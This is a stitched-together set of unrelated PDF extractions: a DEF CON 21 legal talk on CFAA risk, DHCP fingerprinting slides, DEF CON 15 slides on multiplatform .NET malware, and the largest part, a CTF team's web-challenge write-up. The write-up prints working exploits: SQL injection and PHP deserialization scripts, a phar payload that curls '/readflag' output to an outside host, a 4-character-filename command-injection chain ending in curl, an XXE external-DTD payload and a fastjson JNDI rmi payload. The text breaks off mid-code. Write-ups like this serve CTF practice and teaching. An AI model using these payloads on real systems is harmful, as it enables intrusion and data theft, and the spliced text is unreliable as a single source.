Nestor (exploited video poker bug [CFAA charge dropped])
Nosal (terms of use [no CFAA violation, 9th Cir.]
Aaron Swartz (spoofed MAC address)
Andrew Auernheimer (conspiracy to script http queries to public
API)
“conspiracy to hack a honeypot may still violate the CFAA.” (DOJ
CCIPS manual citing U.S. v. Schaffer)
• Civil prosecution
Available on the same grounds to private parties
11
DEF CON 21
Risk Mitigation: CFAA
18 U.S.C. §1030
“(a) Whoever – (1) having
knowingly accessed a computer
without authorization or exceeding
authorized access…”
12
DEF CON 21
Risk Mitigation: CFAA
18 U.S.C. §1030
“(a) Whoever – (2) intentionally
accesses a computer without
authorization or exceeds authorized
access…”
13
DEF CON 21
Risk Mitigation: CFAA
Avoid unintentionally creating
Knowledge
Intent
14
DEF CON 21
Risk Mitigation: CFAA
•Do not direct technique information to
someone you suspect or should know is
likely to use it illegally.
15
DEF CON 21
Risk Mitigation: CFAA
•Be careful in providing “support”.
“If I were your lawyer, I’d advise you
not to answer that tweet.”
16
DEF CON 21
Risk Mitigation: CFAA
• Consider not providing technique information directly to
any individuals and limiting distribution to websites
only.
• Do not promote the disclosure on forums known to
support or promote illegal activity.
• If published on a website, consider disabling comments
to avoid possibility of users discussing illegal use on
your site.
• Do not maintain logs.
17
DEF CON 21
Risk Mitigation: TRO
• Goal: Avoid a Temporary Restraining
Order (TRO)
Factors
(1) Will the requestor suffer irreparable
harm if the TRO does not issue?
(2) Will there be even greater harm to
the researcher if the TRO does issue?
(3) The public interest
(4) Likelihood requestor will ultimately
prevail
18
DEF CON 21
Risk Mitigation: TRO
•Avoid use of copyrighted material.
Exploit including source or object code from
target may infringe copyright
Megamos and Cisco plaintiffs cited
misappropriation of intellectual property
“Fair use” exception
•Avoid darknet sources for proprietary
or copyrighted material.
19
DEF CON 21
Risk Mitigation: TRO
•Be aware of any pre-existing
relationships with possible targets of
the technique.
Terms of Service (TOS), End User
License Agreement (EULA), Non-
Disclosure Agreement (NDA),
Employment Agreements
20
DEF CON 21
Risk Mitigation: TRO
•Necessity of risk mitigation depends
on nature of research.
•If research techniques were
questionable:
Do not publish identity of the target
system.
21
DEF CON 21
Disclosure Options
22
DEF CON 21
Option #1
Disclose to responsible party
•Relatively high risk
if techniques used were questionable
if planning to present at a conference or
publish (TRO)
•Risk lowered if
submitted anonymously and
OPSEC is good
•Relatively low risk if to a bug bounty
and no questionable techniques used
23
DEF CON 21
Option #2
Disclose to gov’t authority
24
DEF CON 21
•Relatively high risk
if techniques used were questionable
anonymity is desired
•Risk lowered if
submitted anonymously and
OPSEC is good
Always Accept the Risk in
Disclosing if You Are…
25
DEF CON 21
OK to Disclose
26
DEF CON 21
[REDACTED]
Option #3
Pilot TTP Disclosure Program
• Researcher discloses vuln to trusted third party
(TTP attorney) only.
Maintains attorney-client privilege
• TTP discloses vuln to responsible party.
• TTP [does | does not] publish the vuln on behalf
of researcher after y days.
• Researcher can remain anonymous [temporarily
| permanently].
• Researcher maintains control of disclosure
process.
27
DEF CON 21
Selling: The Current Situation
28
DEF CON 21
The NDAA Senate Bill
“The President shall establish an
interagency process to provide for the
establishment of an integrated policy to
control the proliferation of cyber
weapons through unilateral and
cooperative export controls, law
enforcement activities, financial means,
diplomatic engagement, and such other
means as the President considers
appropriate.”
29
DEF CON 21
The NDAA Cmtee Report
“The types of dangerous software used to
perpetrate these malicious incidents are actively
traded on a global black market, and they are also
available in the so-called gray market, through
unscrupulous companies.”
“This process will require developing definitions
and categories for controlled cyber technologies
and determining how to address dual use, lawful
intercept, and penetration testing technologies.”
Senate Cmtee on Armed Services, National Defense Auth Act, June 20, 2013
30
DEF CON 21
The European Directive
Article 7
Tools used for committing offences
Member States shall take the necessary measures to ensure
that the intentional production, sale, procurement for use,
import, distribution or otherwise making available, of one of the
following tools, without right and with the intention that it be
used to commit any of the offences referred to in Articles 3 to 6,
is punishable as a criminal offence, at least for cases which are
not minor:
(a) a computer programme, designed or adapted primarily for
the purpose of committing any of the offences referred to in
Articles 3 to 6;
31
DEF CON 21
The European Exception
Whereas:
(16)…Motivated by the need to avoid
criminalisation where such tools are produced
and put on the market for legitimate purposes,
such as to test the reliability of information
technology products or the security of
information systems, apart from the general
intent requirement, a direct intent
requirement that those tools be used to commit
one or more of the offences laid down in this
Directive must be also fulfilled.”
32
DEF CON 21
Selling: Risk Mitigation
•Create dual-use tools.
Copy II Plus
•Know your buyer.
Avoid embargoed countries
EU, US, UN
•Ask for assurances from the buyer.
•Use disclaimer language.
33
DEF CON 21
Selling: Risk Mitigation
• Use disclaimers in correspondence and
agreements
“Compliance with Law. Customer acknowledges that the Software can be configured
by the user to obtain access to information using penetration techniques that may
cause disruption in systems or services and may cause data corruption. Denial of
Service attacks may be run on command that will attempt to render systems and
services unavailable to authorized users. Customer specifically agrees that the
Software will only be used to target devices under the authorized control of the
Customer and in a way in which damage to systems or loss of access or loss of data
will create no liability for [discloser/seller] or any third party. Customer further
agrees to strictly comply with all federal, state and local laws and regulations
governing the use of network scanners, vulnerability assessment software products,
hacking tools, encryption devices, and related software in all jurisdictions in which
systems are scanned or scanning is controlled.”
“You also agree that you will not use these products for any purposes prohibited by
United States law, including, without limitation, the development, design,
manufacture or production of nuclear, missiles, or chemical or biological weapons.”
34
DEF CON 21
Contact Information
Jim Denaro
[email protected]
@CipherLaw
https://www.cipherlawgroup.com
PGP / X.509 at
https://www.cipherlawgroup.com/professionals/denaro
SilentCircle: cipherlaw
35
DEF CON 21 | pdf |
FingerBank - open DHCP fingerprints
database
no it's not about a bank of fingers...
Presentation Plan
Device fingerprinting, passive fingerprinting, DHCP fingerprinting
Defensive use cases
Offensive use cases
FingerBank announcement
FingerBank's future
Who I am
Olivier Bilodeau
System architect working at Inverse inc
PacketFence lead developer since 2009
Teaching InfoSec to undergraduate in Montreal
...
new father, Open Source nuts, enjoying CTFs a lot, android developer, brewing beer
Social stuff
twitter: @packetfence / identi.ca: @plaxx
delicious: plaxxx / linkedin: olivier.bilodeau
Device fingerprinting reminder
Identifies software or hardware components
Various types
Operating Systems
Devices
Browsers
Web Server
Web Applications
Two approaches of gathering
fingerprints
Active
Pros: On demand
Cons: Detectable, sometimes intrusive
Passive
Pros: Stealth
Cons: not on demand
Passive fingerprinting reminder
Networks are really noisy
Some protocols use broadcast
Just wait for the goods to come to you
LAN fingerprinting
mDNS, TCP, ARP, DHCP, ...
WAN fingerprinting
honeypots
DHCP Fingerprinting reminder
The pervasiveness and broadcast nature of DHCP makes it compelling
IP Helpers (UDP Helper Address) makes it very easy to collect centrally
Rarely spoofed
DHCP Fingerprinting reminder
(contd.)
DHCP Elements to fingerprint
DHCP retransmission timing (actual vs in packet)
IP TTL on DHCP packets
DHCP Options (55: requested parameters, 60: vendor id, ...)
Number and order of option 55 is particularly precise and interesting
Defensive Use Cases
Easy Operating System Inventory
Even more powerful if IP-Helpers use DHCP Option 82
NAC integration to blacklist end-of-life OS
ex: Win 2000 and earlier
NAC integration to automatically allow dumb devices (shh!)
Offensive Use Cases
Stealth LAN Recon!
...
Any other ideas?
Why FingerBank?
There are User-Agent databases out there
There are snort signature databases out there
What about DHCP Fingerprints?
Consolidate information hidden in silos
Regroup communities that would benefit from sharing this information
Raise awareness about this easy to use technique
What is FingerBank?
A website dedicated to sharing DHCP fingerprint and tools.
Two extensive DHCP fingerprint databases (PacketFence, Satori)
DHCP fingerprinting tools
Mailing list
Who's backing FingerBank?
Eric Kollman - Satori
David LaPorte - PacketFence founder
Olivier Bilodeau - PacketFence lead developer
FingerBank's future
Based on community participation
Improve fingerprint sharing tools
Consolidate data formats
Room for new tools
a pentester oriented one
Support and share about new passive fingerprint types?
That's it
I hope you enjoyed! See you in the debriefing room.
twitter: @packetfence / identi.ca: @plaxx
delicious: plaxxx / linkedin: olivier.bilodeau
References
DHCP Fingerprinting
Using DHCP for Passive OS Identification, BlackHat Japan 2007, David LaPorte, Eric Kollmann,
http://myweb.cableone.net/xnih/download/bh-japan-laporte-kollmann-v8.ppt
Users of current DHCP Fingerprint databases
PacketFence, http://www.packetfence.org
Satori, http://myweb.cableone.net/xnih/
Other fingerprinting tools
nmap, http://www.nmap.org/
Blind Elephant, http://TODO
p0f, http://TODO
SinFP, http://TODO
Inspiration
Browser ID Strings, http://www.zytrax.com/tech/web/browser_ids.htm
Emerging Threats, http://www.emergingthreats.net | pdf |
subscribe to the AltStore Patreon
IOSLinux——ish
0x00
0x01
0x02
https://ish.app/altstore.json
apk update
apk upgrade
apk add python3
0x03
apk add git
pip3 install sqlmap
sqlmap -h
apk add nmap
0x04 | pdf |
DEFCON 15
Multiplatform malware within the .NET-Framework
Multiplatform malware
within the .NET-Framework
DEFCON 0x0f
August 3rd – August 5th
Paul Sebastian Ziegler
[email protected]
DEFCON 15
Multiplatform malware within the .NET-Framework
What exactly is multiplatform malware?
DEFCON 15
Multiplatform malware within the .NET-Framework
● Runs on several different processors or host
operating systems
● Does not need to be modified from system to system
● Is able to jump from one system to another
● May be anything from worm to trojan to virus
Multiplatform malware...
DEFCON 15
Multiplatform malware within the .NET-Framework
Multiplatform malware does not...
● Attack common design flaws in broadly used
protocols various operating systems implement
(XSS is not multiplatform malware)
● Need to be in binary form
DEFCON 15
Multiplatform malware within the .NET-Framework
Recent Developments
● More Devices
● More Operating Systems
● More Cross-System Integration
● More Mobility
● Less Security-Concerns
DEFCON 15
Multiplatform malware within the .NET-Framework
Notable implementations of
multiplatform malware up until now
● {Win32, Linux}/Simile.D (Virus)
– Infects both PE and ELF executables
– Polymorphic and Metamorphic
● W32/Linux.Bi
– PoC Virus
– Infects local files
DEFCON 15
Multiplatform malware within the .NET-Framework
The Potential of
multiplatform malware
DEFCON 15
Multiplatform malware within the .NET-Framework
I. Jumping Systems
DEFCON 15
Multiplatform malware within the .NET-Framework
The Old Standard
Secret Service Guy: We need access to that network and we need it now!
Some Geek: Oh... yeah... right. Look, I'm really sorry, but I was extremely busy
tonight. See, when I scanned that employee's firewall I saw that
his son had an Xbox360 connected to the Internet so I spent all
night hacking it just to get his savegames...
Secret Service Guy: WTF? Do you know what this means? They have
200 nuclear warheads stationed around the world!
Also we believe that they cut 26,72$ tax last year.
Some Geek: Now come on, it's not all bad... At least we can play games for
free!
Secret Service Guy: Yes, indeed. That is great... Just wait at your house
and keep the doors unlocked. I'll send over a
S.W.A.T-team to... umh... “play”.
DEFCON 15
Multiplatform malware within the .NET-Framework
The New Possibilities
Secret Service Guy: Ok now. This is your first job after you have been hired
since the previous specialist couldn't continue working
due to... a terrible headache. Also you'll probably have
heard the tales of how we managed to disarm all the
nuclear warheads using a piece of paper and a
bottle cap. But now we need access to that network!
Another Geek: Umh, listen... did that other guy tell you the employee's kid had and
Xbox360 connected to the internet?
Secret Service Guy: Not again! Don't tell me you hacked his saves...
Another Geek: Of course I did! He is really a good gamer. However I also installed
a worm on that Xbox that jumped to their Vista box and collected
all the credentials from our target employee's PocketPC after being
synced onto there as well. I already mailed you the passwords.
Secret Service Guy: Great! You really do know a lot about hacking... and our
organization... and our plans... Just wait at home and
keep your doors unlocked. I'll send over a S.W.A.T
team to... uhm... “congratulate” you.
DEFCON 15
Multiplatform malware within the .NET-Framework
II. The Momentum Of Surprise
DEFCON 15
Multiplatform malware within the .NET-Framework
The old common sense of OS-security:
If it hurts me then it was
build for me
The new common sense of OS-security:
I am vulnerable in most
cases - no matter what
DEFCON 15
Multiplatform malware within the .NET-Framework
The way of the Non-Windows L-User
● I am running XYZ and it is secure by default
● Very few people develop malware for XYZ
● If an MS-friend of mine should be infected with
malware his PC could not infect me anyways
● I do not need to be careful when dealing with
downloads, attachments and portable media
DEFCON 15
Multiplatform malware within the .NET-Framework
Ways of implementing mutliplatform
malware
DEFCON 15
Multiplatform malware within the .NET-Framework
● Carrying various versions as
payloads
● Using cross-system compliant
assembler instructions
● Using runtime frameworks and
intermediate languages
DEFCON 15
Multiplatform malware within the .NET-Framework
“p3wn me in .NET darling”
-
Project Akikaze
DEFCON 15
Multiplatform malware within the .NET-Framework
Goals
● Create some PoC that actually works
● Have it attack Thunderbird and spread from there
● Explore the possibilities of runtime frameworks
DEFCON 15
Multiplatform malware within the .NET-Framework
Why .NET?
● CIL-code is fast
● There are several .NET implementations
● Many people run it
● Language independence
● No virtual machine restrictions
● Lots of classes for platform independence
● Microsoft designed it, so it comes from a long
tradition of great malware-boosters
DEFCON 15
Multiplatform malware within the .NET-Framework
Why Thunderbird?
● It runs on many different platforms
● Attacking a mailclient makes it easy to redistribute
the malware
● I am using it
DEFCON 15
Multiplatform malware within the .NET-Framework
DEFCON 15
Multiplatform malware within the .NET-Framework
DEFCON 15
Multiplatform malware within the .NET-Framework
The Code
DEFCON 15
Multiplatform malware within the .NET-Framework
https://observed.de
DEFCON 15
Multiplatform malware within the .NET-Framework
DEFCON 15
Multiplatform malware within the .NET-Framework
DEFCON 15
Multiplatform malware within the .NET-Framework
DEFCON 15
Multiplatform malware within the .NET-Framework
Demonstration
DEFCON 15
Multiplatform malware within the .NET-Framework
Limitations of multiplatform malware
and runtime frameworks
DEFCON 15
Multiplatform malware within the .NET-Framework
Multiplatform Malware...
● Needs to use code that will work on any system
targeted
● Will get really nasty once we start to jump in
between various processor architectures
● Is just as detectable by AV as any other malware
DEFCON 15
Multiplatform malware within the .NET-Framework
Runtime Frameworks...
● Need to be installed
● May need to be invoked manually
● Use intermediate languages that are
– Easily reverse engineered
– Easily analysed for malicious content
DEFCON 15
Multiplatform malware within the .NET-Framework
Summary
DEFCON 15
Multiplatform malware within the .NET-Framework
Discussion | pdf |
XCTF-“”WP
AuthorNu1L Team
XCTF-“”WP
WEB
easy_trick_gzmtu
webct
webtmp
hackme
baby_java
fmkq
dooog
nweb
PHP-UAF
sqlcheckin
nothardweb
happyvacation
GuessGame
hardphp
Crypto
NHP
lancet
Misc
ez_mem&usb
MISC
Apk
GetFlag
Pwn
Shotest_Path_v2
twochunk
musl
lgd
easyheap
woodenbox
easy_unicorn
bjut
Kernoob
EasyVM
babyhacker
babyhacker2
rustpad
Re
clock
cycle graph
baby_wasi
fxck!
Rubik
easyparser
OwnerMoney
WEB
easy_trick_gzmtu
admin 20200202goodluckurl eGlhb2xldW5n check.php
eGlhb2xldW5nLnBocA==.php ,
file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
import requests
import re
from string import lowercase
# payload = "union select 1,(select
group_concat(concat_ws(0x23,username,passwd,url)) from trick.admin), 1 %23"
payload = r"union select 1,(select @@global.secure_file_priv), 1 %23"
# payload = "union select 1,(select group_concat(column_name) from
information_schema.columns where table_schema='trick' and table_name='admin'),
1 %23"
url = r'http://121.37.181.246:6333/?time=123%27%20'
for i in payload:
if i in lowercase:
url += '\\' + i
else:
url += i
print url
res = requests.get(url).text
print res
print re.search(r'<div class="text-c ">(.*?)</div>', res).groups()[0]
<?php
class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{
if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);
}
}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());
}
}
unserialize((base64_decode($_GET['code'])));
?>
webct
rogue mysq server
webtmp
hackme
<?php
class trick {
// $gf = "70766571";
public $gf = "~\xC8\xCF\xC8\xC9\xC9\xCA\xC8\xCE";
}
$trick = new trick();
echo base64_encode(serialize($trick)), PHP_EOL;
GET /eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php?
code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czo5OiJ%2byM/IycnKyM4iO30%3d&pass=a.passw
d%0a20200202 HTTP/1.1
Host: 121.37.181.246:6333
Cookie: PHPSESSID=fa4f2b0321c6d7be56c785f60051a7c4
Connection: close
flag
<?php
include('config.php');
$a = new Listfile('/;/readflag; curl http://xxxxx/`/readflag`');
$b = new Fileupload($a);
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.jpg","test");
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>
payload = b"\x80\x03c__main__\nsecret\n}
(X\x04\x00\x00\x00nameX\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\x00\x
00\x00233ub0c__main__\nAnimal\n)\x81}
(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00233X\x08\x00\x00\x00categoryX\x03\
x00\x00\x00233ub."
session
url=compress.zlib://data:@127.0.0.1/baidu.com?,ls ,hitcon
:
session_save_path('../session');
ini_set('session.serialize_handler', 'php');
session_start();
./sandbox/be6b9601cee3aba3f4d4ba3d2e4f7813 <?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('');
}
import requests,base64
from time import sleep
from urllib import quote
payload = [
'>dir',
baby_java
xmlxxe:
'>sl',
'>g\>',
'>ht-',
'*>v',
'>rev',
'*v>x',
'>\;\\',
'>sh\\',
'>ba\\',
'>\|\\',
'>x\\',
'>x\\',
'>x.\\',
'>x\\',
'>x.\\',
'>x\\',
'>x.\\',
'>11\\',
'>\ \\',
'>rl\\',
'>cu\\',
#1xxxx.x.x.x
'sh x',
'sh g',
]
r = requests.get('http://121.36.222.22:88/core/clear.php')
cookiess={
"PHPSESSID":"08e44553061c5dc2d0f47bece853784c"
}
for i in payload:
assert len(i) <= 4
data={
"url":'compress.zlib://data:@127.0.0.1/baidu.com?,'+quote(i)
}
r =
requests.post('http://121.36.222.22:88/core/index.php',data=data,cookies=cooki
ess)
print r.text
sleep(0.1)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://111.231.17.208/evil.dtd">
<user><number>ddd</number><name>&send;</name></user>
hint.txtvps
Method%uFF1A post
Path %uFF1A /you_never_know_the_path
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.4.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.tr1ple</groupId>
<artifactId>sus</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>baby_java</name>
<description>Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>saxpath</groupId>
<artifactId>saxpath</artifactId>
<version>1.0-FCS</version>
</dependency>
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.6</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.3</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
fastjson1.2.48Pathjson
payload
typeprefixtype
prefixfastjson - _ fastjson parseField
- -
JRMPCommons Collections 3.1gadget
fmkq
http://121.37.179.47:1101/?head=%5C&url=http://127.0.0.1:8080/&begin=%25s%25
http://121.37.179.47:1101/?
head=&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D{{7*7}}%26vipcode%3D0&beg
in=%s%
ssti
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","-
prefix":"rmi://111.231.17.208:3888"}
Welcome to our FMKQ api, you could use the help information below
To read file:
/read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
%d
The content of {7*7} is error%d
http://121.37.179.47:1101/?
head=%5C&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D%7Bfile.__class__%7
D%26vipcode%3D0&begin=%25s%25
The content of <class 'base.readfile.readfile'> is error%d
http://121.37.179.47:1101/?
head=%5C&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D%7Bfile.__class__._
_init__.__globals__%7D%26vipcode%3D0&begin=%25s%25
The content of {'__loader__': <_frozen_importlib_external.SourceFileLoader
object at 0x7f97c615cdd8>, '__name__': 'base.readfile', 'vip': <class
'base.vip.vip'>, '__cached__': '/app/base/__pycache__/readfile.cpython-
35.pyc', 'vipreadfile': <class 'base.readfile.vipreadfile'>, 're': <module
're' from '/usr/lib/python3.5/re.py'>, 'File': <class 'base.readfile.File'>,
'readfile': <class 'base.readfile.readfile'>, '__builtins__': {'divmod':
<built-in function divmod>, 'int': <class 'int'>, 'UserWarning': <class
'UserWarning'>, 'vars': <built-in function vars>, 'iter': <built-in function
iter>, 'hasattr': <built-in function hasattr>, 'ascii': <built-in function
ascii>, 'zip': <class 'zip'>, 'BrokenPipeError': <class 'BrokenPipeError'>,
'range': <class 'range'>, 'StopIteration': <class 'StopIteration'>, 'bytes':
<class 'bytes'>, 'UnicodeWarning': <class 'UnicodeWarning'>, '__package__':
'', 'delattr': <built-in function delattr>, 'PendingDeprecationWarning':
<class 'PendingDeprecationWarning'>, 'str': <class 'str'>, 'help': Type help()
for interactive help, or help(object) for help about object.,
'AttributeError': <class 'AttributeError'>, 'EOFError': <class 'EOFError'>,
'len': <built-in function len>, 'KeyboardInterrupt': <class
'KeyboardInterrupt'>, 'frozenset': <class 'frozenset'>, 'copyright': Copyright
(c) 2001-2016 Python Software Foundation.
All Rights Reserved.
Copyright (c) 2000 BeOpen.com.
All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'super': <class 'super'>, 'hex': <built-in function
hex>, 'reversed': <class 'reversed'>, 'NotADirectoryError': <class
'NotADirectoryError'>, 'UnicodeTranslateError': <class
'UnicodeTranslateError'>, 'map': <class 'map'>, 'IOError': <class 'OSError'>,
'globals': <built-in function globals>, 'enumerate': <class 'enumerate'>,
'ReferenceError': <class 'ReferenceError'>, 'ImportError': <class
'ImportError'>, 'compile': <built-in function compile>, 'abs': <built-in
function abs>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'SystemError':
<class 'SystemError'>, 'NotImplementedError': <class 'NotImplementedError'>,
'BaseException': <class 'BaseException'>, 'dir': <built-in function dir>,
'ChildProcessError': <class 'ChildProcessError'>, 'input': <built-in function
input>, 'RuntimeError': <class 'RuntimeError'>, 'hash': <built-in function
hash>, 'NameError': <class 'NameError'>, 'None': None, 'id': <built-in
function id>, 'SystemExit': <class 'SystemExit'>, 'property': <class
'property'>, 'OverflowError': <class 'OverflowError'>, 'IndentationError':
<class 'IndentationError'>, '__name__': 'builtins', 'open': <built-in function
open>, 'min': <built-in function min>, 'FloatingPointError': <class
'FloatingPointError'>, 'OSError': <class 'OSError'>, 'exit': Use exit() or
Ctrl-D (i.e. EOF) to exit, 'ord': <built-in function ord>, 'credits':
Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python development. See www.python.org for more
information., 'dict': <class 'dict'>, 'ConnectionResetError': <class
'ConnectionResetError'>, 'ProcessLookupError': <class 'ProcessLookupError'>,
'FutureWarning': <class 'FutureWarning'>, 'IsADirectoryError': <class
'IsADirectoryError'>, 'TabError': <class 'TabError'>, 'EnvironmentError':
<class 'OSError'>, 'UnboundLocalError': <class 'UnboundLocalError'>,
'ArithmeticError': <class 'ArithmeticError'>, 'oct': <built-in function oct>,
'float': <class 'float'>, 'ConnectionRefusedError': <class
'ConnectionRefusedError'>, 'next': <built-in function next>, 'tuple': <class
'tuple'>, 'bin': <built-in function bin>, 'True': True, 'callable': <built-in
function callable>, 'memoryview': <class 'memoryview'>, 'pow': <built-in
function pow>, 'FileExistsError': <class 'FileExistsError'>,
'StopAsyncIteration': <class 'StopAsyncIteration'>, 'repr': <built-in function
repr>, 'complex': <class 'complex'>, 'UnicodeDecodeError': <class
'UnicodeDecodeError'>, 'print': <built-in function print>, 'staticmethod':
<class 'staticmethod'>, 'getattr': <built-in function getattr>,
'RecursionError': <class 'RecursionError'>, '__doc__': "Built-in functions,
exceptions, and other objects.\n\nNoteworthy: None is the `nil' object;
Ellipsis represents `...' in slices.", 'FileNotFoundError': <class
'FileNotFoundError'>, 'exec': <built-in function exec>, 'ValueError': <class
'ValueError'>, 'InterruptedError': <class 'InterruptedError'>, 'isinstance':
<built-in function isinstance>, 'classmethod': <class 'classmethod'>,
'license': Type license() to see the full license text, 'sorted': <built-in
function sorted>, '__build_class__': <built-in function __build_class__>,
'any': <built-in function any>, 'list': <class 'list'>, 'NotImplemented':
NotImplemented, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'max':
<built-in function max>, 'all': <built-in function all>, 'UnicodeEncodeError':
<class 'UnicodeEncodeError'>, 'IndexError': <class 'IndexError'>, 'chr':
<built-in function chr>, 'ConnectionAbortedError': <class
filevip, vipvipcode
http://121.37.179.47:1101/?
head=\&url=http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D{file.vip.class.init.globals}%2
6vipcode%3D0&begin=%s%
'ConnectionAbortedError'>, 'BlockingIOError': <class 'BlockingIOError'>,
'UnicodeError': <class 'UnicodeError'>, 'ResourceWarning': <class
'ResourceWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'SyntaxError':
<class 'SyntaxError'>, 'type': <class 'type'>, 'Exception': <class
'Exception'>, '__import__': <built-in function __import__>,
'DeprecationWarning': <class 'DeprecationWarning'>, 'ImportWarning': <class
'ImportWarning'>, 'Ellipsis': Ellipsis, 'RuntimeWarning': <class
'RuntimeWarning'>, 'GeneratorExit': <class 'GeneratorExit'>,
'PermissionError': <class 'PermissionError'>, 'Warning': <class 'Warning'>,
'ConnectionError': <class 'ConnectionError'>, 'AssertionError': <class
'AssertionError'>, 'filter': <class 'filter'>, 'locals': <built-in function
locals>, 'eval': <built-in function eval>, 'BufferError': <class
'BufferError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, '__debug__': True,
'bool': <class 'bool'>, 'LookupError': <class 'LookupError'>, '__spec__':
ModuleSpec(name='builtins', loader=<class
'_frozen_importlib.BuiltinImporter'>), '__loader__': <class
'_frozen_importlib.BuiltinImporter'>, 'sum': <built-in function sum>, 'False':
False, 'object': <class 'object'>, 'KeyError': <class 'KeyError'>,
'bytearray': <class 'bytearray'>, 'set': <class 'set'>, 'MemoryError': <class
'MemoryError'>, 'setattr': <built-in function setattr>, 'format': <built-in
function format>, 'TimeoutError': <class 'TimeoutError'>, 'TypeError': <class
'TypeError'>, 'round': <built-in function round>, 'slice': <class 'slice'>,
'issubclass': <built-in function issubclass>}, 'os': <module 'os' from
'/usr/lib/python3.5/os.py'>, '__package__': 'base', '__doc__': None,
'current_folder_file': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22',
'23', '24'], '__spec__': ModuleSpec(name='base.readfile', loader=
<_frozen_importlib_external.SourceFileLoader object at 0x7f97c615cdd8>,
origin='/app/base/readfile.py'), '__file__': '/app/base/readfile.py'} is
error%d
Welcome,dear vip! Here are what you want:
The file you read is:
/app/base/readfile.py
The content is:
from .vip import vip
import re
import os
class File:
def __init__(self,file):
self.file = file
def __str__(self):
return self.file
def GetName(self):
return self.file
class readfile():
